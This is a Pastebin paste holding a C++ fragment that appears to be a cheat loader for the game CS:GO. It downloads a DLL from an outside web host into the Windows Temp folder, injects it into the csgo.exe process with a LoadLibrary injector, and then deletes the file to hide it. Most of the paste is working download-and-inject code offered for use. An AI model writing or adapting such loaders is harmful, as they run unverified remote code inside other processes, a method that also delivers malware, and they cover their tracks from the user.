Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HRESULT hr;
- //char *appdata = getenv("APPDATA"); //appdata
- LPCTSTR Url = _T("http://e91905ho.beget.tech/nixware.dll"), File = _T("C://Windows//Temp//dll.dll");// nazvanie dll ne trogai!111!!!!!!
- hr = URLDownloadToFile(0, Url, File, 0, 0);
- switch (hr)
- {
- case S_OK:
- cout << "Successful download\n";
- break;
- case E_OUTOFMEMORY:
- cout << "Out of memory error\n";
- break;
- case INET_E_DOWNLOAD_FAILURE:
- cout << "Cannot access server data\n";
- break;
- default:
- cout << "Unknown error\n";
- break;
- }
- Sleep(7000);
- string proccessname;
- string dllname;
- proccessname = "csgo.exe";
- dllname = "dll.dll";
- load_library->loadlibrarymain(proccessname.c_str(), dllname.c_str());
- //zdes bibi
- System::IO::File::Delete("C://Windows//Temp//dll.dll");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement